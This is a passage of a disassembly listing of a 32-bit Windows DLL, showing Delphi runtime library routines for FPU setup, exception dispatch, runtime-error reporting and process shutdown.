; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002868	proc near		; CODE XREF: CODE:10003507p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, ds:word_1000800C
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h
		call	sub_10001078	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_100028E0
		xor	eax, eax
		push	ebp
		push	offset loc_100028D9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_C], 4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0
		push	offset aFpumaskvalue ; "FPUMaskValue"
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_10001080	; RegQueryValueExA
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100028E0


loc_100028CF:				; CODE XREF: sub_10002868+76j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_10001070	; RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_100028D9:				; DATA XREF: sub_10002868+2Eo
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_100028CF
; ---------------------------------------------------------------------------


loc_100028E0:				; CODE XREF: sub_10002868+29j
					; DATA XREF: sub_10002868+62o
		mov	ax, ds:word_1000800C
		and	ax, 0FFC0h
		mov	dx, word ptr [ebp+var_8]
		and	dx, 3Fh
		or	ax, dx
		mov	ds:word_1000800C, ax
		mov	esp, ebp
		pop	ebp
		retn
sub_10002868	endp

; ---------------------------------------------------------------------------
		align 10h
aSoftwareBorlan	db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_10002868+18o
aFpumaskvalue	db 'FPUMaskValue',0     ; DATA XREF: sub_10002868+4Co
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000292C	proc near		; CODE XREF: sub_10002DBC-368p
					; CODE:10002D02p ...
		fninit
		wait
		fldcw	ds:word_1000800C
		retn
sub_1000292C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002938	proc near		; CODE XREF: CODE:10002B53j
					; sub_10002B98+30p ...
		test	eax, eax
		jz	short locret_10002943
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx-4]

locret_10002943:			; CODE XREF: sub_10002938+2j
		retn
sub_10002938	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002944	proc near		; CODE XREF: sub_10002B98+35p
		cmp	ds:byte_10008010, 1
		jbe	short locret_1000295E
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	ds:off_1000A010

locret_1000295E:			; CODE XREF: sub_10002944+7j
		retn
sub_10002944	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10002960	proc near		; CODE XREF: sub_10002DBC-33Bp
		cmp	ds:byte_10008010, 0
		jz	short locret_10002980
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	ds:off_1000A010
		add	esp, 8
		pop	eax

locret_10002980:			; CODE XREF: sub_10002960+7j
		retn
sub_10002960	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_1000299C


loc_10002984:				; CODE XREF: sub_1000299C+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	ds:off_1000A010
		add	esp, 4
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_1000299C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000299C	proc near		; CODE XREF: sub_10002DBC-28Bp

; FUNCTION CHUNK AT 10002984 SIZE 00000015 BYTES

		cmp	ds:byte_10008010, 1
		jbe	short locret_100029AC
		push	eax
		push	ebx
		jmp	loc_10002984
; ---------------------------------------------------------------------------

locret_100029AC:			; CODE XREF: sub_1000299C+7j
		retn
sub_1000299C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100029B0	proc near		; CODE XREF: sub_100029D0+Cp
		test	ecx, ecx
		jz	short locret_100029CD
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_100029C8
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_100029CD
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_100029CB
; ---------------------------------------------------------------------------


loc_100029C8:				; CODE XREF: sub_100029B0+Aj
		add	ecx, 5


loc_100029CB:				; CODE XREF: sub_100029B0+16j
		add	ecx, eax

locret_100029CD:			; CODE XREF: sub_100029B0+2j
					; sub_100029B0+Fj
		retn
sub_100029B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100029D0	proc near		; CODE XREF: sub_10001788+13FDp
		cmp	ds:byte_10008010, 1
		jbe	short locret_100029F6
		push	eax
		push	edx
		push	ecx
		call	sub_100029B0
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:off_1000A010
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_100029F6:			; CODE XREF: sub_100029D0+7j
		retn
sub_100029D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100029F8	proc near		; CODE XREF: sub_10002BEC+28p
		cmp	ds:byte_10008010, 1
		jbe	short locret_10002A13
		push	edx
		push	esp
		push	1
		push	0
		push	0EEDFAE2h
		call	ds:off_1000A010
		pop	edx

locret_10002A13:			; CODE XREF: sub_100029F8+7j
		retn
sub_100029F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002A14	proc near		; CODE XREF: CODE:loc_10002D49p
		push	eax
		push	edx
		cmp	ds:byte_10008010, 1
		jbe	short loc_10002A2F
		push	esp
		push	2
		push	0
		push	0EEDFAE3h
		call	ds:off_1000A010


loc_10002A2F:				; CODE XREF: sub_10002A14+9j
		pop	edx
		pop	eax
		retn
sub_10002A14	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_10002DBC


loc_10002A34:				; CODE XREF: sub_10002DBC:loc_10002E02j
					; sub_10002E1C:loc_10002E62j ...
		mov	eax, [esp-4+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_10002B58
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_10002AC1
		cld
		call	sub_1000292C
		mov	edx, ds:dword_1000A00C
		test	edx, edx
		jz	loc_10002B58
		call	edx
		test	eax, eax
		jz	loc_10002B58
		mov	edx, [esp-4+arg_8]
		mov	ecx, [esp-4+arg_0]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_10002AB8
		call	sub_10002960
		cmp	ds:byte_10008014, 0
		jbe	short loc_10002AB8
		cmp	ds:byte_10008010, 0
		ja	short loc_10002AB8
		lea	ecx, [esp-4+arg_0]
		push	eax
		push	ecx
		call	sub_10001018	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_10002B58
		mov	edx, eax
		mov	eax, [esp+4]
		mov	ecx, [eax+0Ch]
		jmp	short loc_10002AE8
; ---------------------------------------------------------------------------


loc_10002AB8:				; CODE XREF: sub_10002DBC-33Dj
					; sub_10002DBC-32Fj ...
		mov	edx, eax
		mov	eax, [esp-4+arg_0]
		mov	ecx, [eax+0Ch]


loc_10002AC1:				; CODE XREF: sub_10002DBC-36Bj
		cmp	ds:byte_10008014, 1
		jbe	short loc_10002AE8
		cmp	ds:byte_10008010, 0
		ja	short loc_10002AE8
		push	eax
		lea	eax, [esp+arg_0]
		push	edx
		push	ecx
		push	eax
		call	sub_10001018	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_10002B58


loc_10002AE8:				; CODE XREF: sub_10002DBC-306j
					; sub_10002DBC-2F4j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+20h+arg_0]
		push	0
		push	eax
		push	offset loc_10002B0C
		push	edx
		call	ds:off_1000A014


loc_10002B0C:				; DATA XREF: sub_10002DBC-2BCo
		mov	edi, [esp+30h+var_8]
		call	sub_10003628
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset sub_10002B38
		add	ebx, 5
		call	sub_1000299C
		jmp	ebx
; END OF FUNCTION CHUNK	FOR sub_10002DBC

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10002B38	proc near		; DATA XREF: sub_10002DBC-295o
		jmp	loc_10002B60
sub_10002B38	endp

; ---------------------------------------------------------------------------
		call	sub_10003628
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_10002938
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_10002DBC


loc_10002B58:				; CODE XREF: sub_10002DBC-37Dj
					; sub_10002DBC-35Bj ...
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_10002DBC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_10001788


loc_10002B60:				; CODE XREF: sub_10001788:loc_1000183Ej
					; sub_1000184C:loc_10001922j ...
		mov	eax, [esp+4]
		mov	edx, [esp+arg_0]
		test	dword ptr [eax+4], 6
		jz	short loc_10002B90
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_10002B90
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_100029D0
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_10002B90:				; CODE XREF: sub_10001788+13E7j
					; DATA XREF: sub_10001788+13ECo
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_10001788
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002B98	proc near		; CODE XREF: sub_10002DBC+50p
					; sub_10002E1C+50p ...

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_10002BE3
		call	sub_10003628
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_10002BD2
		mov	eax, [edx+8]
		call	sub_10002938
		call	sub_10002944


loc_10002BD2:				; CODE XREF: sub_10002B98+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_10002BE3:				; DATA XREF: sub_10002B98+4o
		mov	eax, 1
		retn
sub_10002B98	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002BEC	proc near		; CODE XREF: sub_10002DBC+55p
					; sub_10002E1C+55p ...

arg_2C		= dword	ptr  30h

		call	sub_10003628
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+8]
		call	sub_10002938
		pop	edx
		mov	esp, [esp-4+arg_2C]
		xor	eax, eax
		pop	ecx
		mov	fs:[eax], ecx
		pop	eax
		pop	ebp
		call	sub_100029F8
		jmp	edx
sub_10002BEC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_10002C1C	proc near		; CODE XREF: sub_10001E74+F5p
					; sub_10001E74+14Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	edx, edx
		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		add	ecx, 5
		mov	fs:[edx], eax
		call	ecx
		retn	0Ch
sub_10002C1C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4


loc_10002C34:				; CODE XREF: CODE:10002D34j
					; CODE:10002D40j
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_10002C6F
		jz	short loc_10002CA1
		cmp	eax, 0C000008Eh
		jg	short loc_10002C61
		jz	short loc_10002CA5
		sub	eax, 0C0000005h
		jz	short loc_10002CB1
		sub	eax, 87h
		jz	short loc_10002C99
		dec	eax
		jz	short loc_10002CAD
		jmp	short loc_10002CC1
; ---------------------------------------------------------------------------


loc_10002C61:				; CODE XREF: CODE:10002C4Aj
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_10002CA1
		jz	short loc_10002C9D
		jmp	short loc_10002CC1
; ---------------------------------------------------------------------------


loc_10002C6F:				; CODE XREF: CODE:10002C41j
		cmp	eax, 0C0000096h
		jg	short loc_10002C87
		jz	short loc_10002CB5
		sub	eax, 0C0000093h
		jz	short loc_10002CAD
		dec	eax
		jz	short loc_10002C95
		dec	eax
		jz	short loc_10002CA9
		jmp	short loc_10002CC1
; ---------------------------------------------------------------------------


loc_10002C87:				; CODE XREF: CODE:10002C74j
		sub	eax, 0C00000FDh
		jz	short loc_10002CBD
		sub	eax, 3Dh
		jz	short loc_10002CB9
		jmp	short loc_10002CC1
; ---------------------------------------------------------------------------


loc_10002C95:				; CODE XREF: CODE:10002C80j
		mov	al, 0C8h
		jmp	short loc_10002CC3
; ---------------------------------------------------------------------------


loc_10002C99:				; CODE XREF: CODE:10002C5Aj
		mov	al, 0C9h
		jmp	short loc_10002CC3
; ---------------------------------------------------------------------------


loc_10002C9D:				; CODE XREF: CODE:10002C6Bj
		mov	al, 0CDh
		jmp	short loc_10002CC3
; ---------------------------------------------------------------------------


loc_10002CA1:				; CODE XREF: CODE:10002C43j
					; CODE:10002C69j
		mov	al, 0CFh
		jmp	short loc_10002CC3
; ---------------------------------------------------------------------------


loc_10002CA5:				; CODE XREF: CODE:10002C4Cj
		mov	al, 0C8h
		jmp	short loc_10002CC3
; ---------------------------------------------------------------------------


loc_10002CA9:				; CODE XREF: CODE:10002C83j
		mov	al, 0D7h
		jmp	short loc_10002CC3
; ---------------------------------------------------------------------------


loc_10002CAD:				; CODE XREF: CODE:10002C5Dj
					; CODE:10002C7Dj
		mov	al, 0CEh
		jmp	short loc_10002CC3
; ---------------------------------------------------------------------------


loc_10002CB1:				; CODE XREF: CODE:10002C53j
		mov	al, 0D8h
		jmp	short loc_10002CC3
; ---------------------------------------------------------------------------


loc_10002CB5:				; CODE XREF: CODE:10002C76j
		mov	al, 0DAh
		jmp	short loc_10002CC3
; ---------------------------------------------------------------------------


loc_10002CB9:				; CODE XREF: CODE:10002C91j
		mov	al, 0D9h
		jmp	short loc_10002CC3
; ---------------------------------------------------------------------------


loc_10002CBD:				; CODE XREF: CODE:10002C8Cj
		mov	al, 0CAh
		jmp	short loc_10002CC3
; ---------------------------------------------------------------------------


loc_10002CC1:				; CODE XREF: CODE:10002C5Fj
					; CODE:10002C6Dj ...
		mov	al, 0FFh


loc_10002CC3:				; CODE XREF: CODE:10002C97j
					; CODE:10002C9Bj ...
		and	eax, 0FFh
		mov	edx, [edx+0Ch]
		call	sub_100024D8
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_10002CD4:				; DATA XREF: sub_10002D74+Do
		mov	eax, [esp+4]
		test	dword ptr [eax+4], 6
		jnz	loc_10002D6E
		cmp	ds:byte_10008010, 0
		ja	short loc_10002CFD
		lea	eax, [esp+4]
		push	eax
		call	sub_10001018	; UnhandledExceptionFilter
		cmp	eax, 0
		jz	short loc_10002D6E


loc_10002CFD:				; CODE XREF: CODE:10002CECj
		mov	eax, [esp+4]
		cld
		call	sub_1000292C
		mov	edx, [esp+8]
		push	0
		push	eax
		push	offset loc_10002D1A
		push	edx
		call	ds:off_1000A014


loc_10002D1A:				; DATA XREF: CODE:10002D0Eo
		mov	ebx, [esp+4]
		cmp	dword ptr [ebx], 0EEDFADEh
		mov	edx, [ebx+14h]
		mov	eax, [ebx+18h]
		jz	short loc_10002D49
		mov	edx, ds:dword_1000A00C
		test	edx, edx
		jz	loc_10002C34
		mov	eax, ebx
		call	edx
		test	eax, eax
		jz	loc_10002C34
		mov	edx, [ebx+0Ch]


loc_10002D49:				; CODE XREF: CODE:10002D2Aj
		call	sub_10002A14
		mov	ecx, ds:dword_1000A004
		test	ecx, ecx
		jz	short loc_10002D5A
		call	ecx


loc_10002D5A:				; CODE XREF: CODE:10002D56j
		mov	ecx, [esp+4]
		mov	eax, 0D9h
		mov	edx, [ecx+14h]
		mov	[esp], edx
		jmp	sub_100030B8
; ---------------------------------------------------------------------------


loc_10002D6E:				; CODE XREF: CODE:10002CDFj
					; CODE:10002CFBj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002D74	proc near		; CODE XREF: sub_10002E7C+2Ep
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset loc_10002CD4
		mov	[eax+8], ebp
		mov	ds:dword_1000A624, eax
		retn
sub_10002D74	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002D94	proc near		; CODE XREF: sub_10002FD4:loc_1000305Ep
		xor	edx, edx
		mov	eax, ds:dword_1000A624
		test	eax, eax
		jz	short locret_10002DBB
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_10002DAE
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------


loc_10002DAC:				; CODE XREF: sub_10002D94+21j
		mov	ecx, [ecx]


loc_10002DAE:				; CODE XREF: sub_10002D94+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_10002DBB
		cmp	[ecx], eax
		jnz	short loc_10002DAC
		mov	eax, [eax]
		mov	[ecx], eax

locret_10002DBB:			; CODE XREF: sub_10002D94+9j
					; sub_10002D94+1Dj
		retn
sub_10002D94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002DBC	proc near		; CODE XREF: sub_10002DBC+4Bp
					; sub_10002E1C+4Bp ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 10002A34 SIZE 00000104 BYTES
; FUNCTION CHUNK AT 10002B58 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_1000A620
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_10002E16
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset loc_10002E02
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		test	ebx, ebx
		jle	short loc_10002DF8


loc_10002DE6:				; CODE XREF: sub_10002DBC+3Aj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_10002DF4
		call	eax


loc_10002DF4:				; CODE XREF: sub_10002DBC+34j
		test	ebx, ebx
		jg	short loc_10002DE6


loc_10002DF8:				; CODE XREF: sub_10002DBC+28j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_10002E16
; ---------------------------------------------------------------------------


loc_10002E02:				; DATA XREF: sub_10002DBC+1Bo
		jmp	loc_10002A34
; ---------------------------------------------------------------------------
		call	sub_10002DBC
		call	sub_10002B98
		call	sub_10002BEC


loc_10002E16:				; CODE XREF: sub_10002DBC+10j
					; sub_10002DBC+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_10002DBC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002E1C	proc near		; CODE XREF: sub_10002E7C+3Ap
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:off_1000A628
		test	eax, eax
		jz	short loc_10002E76
		mov	esi, [eax]
		xor	ebx, ebx
		mov	edi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset loc_10002E62
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	esi, ebx
		jle	short loc_10002E58


loc_10002E44:				; CODE XREF: sub_10002E1C+3Aj
		mov	eax, [edi+ebx*8]
		inc	ebx
		mov	ds:dword_1000A62C, ebx
		test	eax, eax
		jz	short loc_10002E54
		call	eax


loc_10002E54:				; CODE XREF: sub_10002E1C+34j
		cmp	esi, ebx
		jg	short loc_10002E44


loc_10002E58:				; CODE XREF: sub_10002E1C+26j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_10002E76
; ---------------------------------------------------------------------------


loc_10002E62:				; DATA XREF: sub_10002E1C+19o
		jmp	loc_10002A34
; ---------------------------------------------------------------------------
		call	sub_10002DBC
		call	sub_10002B98
		call	sub_10002BEC


loc_10002E76:				; CODE XREF: sub_10002E1C+Dj
					; sub_10002E1C+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_10002E1C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002E7C	proc near		; CODE XREF: sub_10003674+3Ap
		mov	ds:off_1000A010, offset	sub_10001008
		mov	ds:off_1000A014, offset	sub_10001010
		mov	ds:off_1000A628, eax
		xor	eax, eax
		mov	ds:dword_1000A62C, eax
		mov	ds:off_1000A630, edx
		mov	eax, [edx+4]
		mov	ds:dword_1000A01C, eax
		call	sub_10002D74
		mov	ds:byte_1000A024, 0
		call	sub_10002E1C
		retn
sub_10002E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002EBC	proc near		; CODE XREF: sub_10002FD4+38p
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aRuntimeErrorAt ; "Runtime error	 at 00000000"
		mov	cl, 10h
		mov	ebx, ds:dword_10008000


loc_10002ECC:				; CODE XREF: sub_10002EBC+33j
		mov	eax, ebx
		mov	edi, 0Ah
		cdq
		idiv	edi
		add	dl, 30h
		xor	eax, eax
		mov	al, cl
		mov	[esi+eax], dl
		mov	eax, ebx
		mov	ebx, 0Ah
		cdq
		idiv	ebx
		mov	ebx, eax
		dec	ecx
		test	ebx, ebx
		jnz	short loc_10002ECC
		mov	cl, 1Ch
		mov	eax, ds:dword_10008004


loc_10002EF8:				; CODE XREF: sub_10002EBC+54j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, ds:byte_10008074[edx]
		xor	ebx, ebx
		mov	bl, cl
		mov	[esi+ebx], dl
		shr	eax, 4
		dec	ecx
		test	eax, eax
		jnz	short loc_10002EF8
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10002EBC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002F18	proc near		; CODE XREF: sub_10002FD4+9Ep
		xor	eax, eax
		xchg	eax, ds:dword_10008000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_1000A620
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_10002F18	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002F48	proc near		; CODE XREF: sub_10002FD4+3Dp

var_4		= byte ptr -4

		push	ecx
		cmp	ds:byte_1000A034, 0
		jz	short loc_10002FA9
		cmp	ds:word_1000A208, 0D7B2h
		jnz	short loc_10002F71
		cmp	ds:dword_1000A210, 0
		jbe	short loc_10002F71
		mov	eax, offset dword_1000A204
		call	ds:dword_1000A220


loc_10002F71:				; CODE XREF: sub_10002F48+13j
					; sub_10002F48+1Cj
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	1Eh
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0FFFFFFF5h
		call	sub_10001000	; GetStdHandle
		push	eax
		call	sub_10001020	; WriteFile
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	2
		push	offset dword_10002FD0
		push	0FFFFFFF5h
		call	sub_10001000	; GetStdHandle
		push	eax
		call	sub_10001020	; WriteFile
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_10002FA9:				; CODE XREF: sub_10002F48+8j
		cmp	ds:byte_10008018, 0
		jnz	short loc_10002FC5
		push	0
		push	offset aError	; "Error"
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0
		call	sub_10001038	; MessageBoxA


loc_10002FC5:				; CODE XREF: sub_10002F48+68j
		pop	edx
		retn
sub_10002F48	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_10002FD0	dd 0A0Dh		; DATA XREF: sub_10002F48+4Do

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_10002FD4	proc near		; CODE XREF: sub_100030AC+5p
					; CODE:loc_10007941p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_1000A620
		mov	esi, offset dword_10008000
		mov	edi, offset dword_1000A030
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_10003003
		cmp	dword ptr [edi], 0
		jz	short loc_10003003


loc_10002FF2:				; CODE XREF: sub_10002FD4+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_10002FF2


loc_10003003:				; CODE XREF: sub_10002FD4+17j
					; sub_10002FD4+1Cj
		cmp	ds:dword_10008004, 0
		jz	short loc_1000301D
		call	sub_10002EBC
		call	sub_10002F48
		xor	eax, eax
		mov	ds:dword_10008004, eax


loc_1000301D:				; CODE XREF: sub_10002FD4+36j
					; sub_10002FD4+CEj
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_1000302D
		cmp	dword ptr [esi], 0
		jnz	short loc_1000302D
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_1000302D:				; CODE XREF: sub_10002FD4+4Dj
					; sub_10002FD4+52j
		call	sub_10002DBC
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_1000303D
		cmp	dword ptr [esi], 0
		jz	short loc_1000305E


loc_1000303D:				; CODE XREF: sub_10002FD4+62j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_1000305E
		call	sub_10003358
		mov	edx, [ebx+10h]
		mov	eax, [edx+10h]
		cmp	eax, [edx+4]
		jz	short loc_1000305E
		test	eax, eax
		jz	short loc_1000305E
		push	eax
		call	sub_10001040	; FreeLibrary


loc_1000305E:				; CODE XREF: sub_10002FD4+67j
					; sub_10002FD4+6Ej ...
		call	sub_10002D94
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_1000306C
		call	dword ptr [ebx+24h]


loc_1000306C:				; CODE XREF: sub_10002FD4+93j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_10003077
		call	sub_10002F18


loc_10003077:				; CODE XREF: sub_10002FD4+9Cj
		cmp	dword ptr [ebx], 0
		jnz	short loc_10003093
		cmp	ds:dword_1000A018, 0
		jz	short loc_1000308B
		call	ds:dword_1000A018


loc_1000308B:				; CODE XREF: sub_10002FD4+AFj
		mov	eax, [esi]
		push	eax
		call	sub_10001030	; ExitProcess


loc_10003093:				; CODE XREF: sub_10002FD4+A6j
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		pop	esi
		jmp	loc_1000301D
sub_10002FD4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_100030AC	proc near		; CODE XREF: sub_100024D8+6p
					; sub_100030B8+6j
		mov	ds:dword_10008000, eax
		call	sub_10002FD4
sub_100030AC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_100030B8	proc near		; CODE XREF: CODE:10002D69j
					; sub_100035E4+1Ap ...
		pop	ds:dword_10008004
		jmp	sub_100030AC
sub_100030B8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_100030C4	proc near		; CODE XREF: sub_10002678+Fp
					; sub_10003188+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_100030E6
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_100030E6
		lock dec dword ptr [edx-8]
		jnz	short locret_100030E6
		push	eax
		lea	eax, [edx-8]
		call	sub_10002468
		pop	eax

locret_100030E6:			; CODE XREF: sub_100030C4+4j
					; sub_100030C4+10j ...
		retn
sub_100030C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



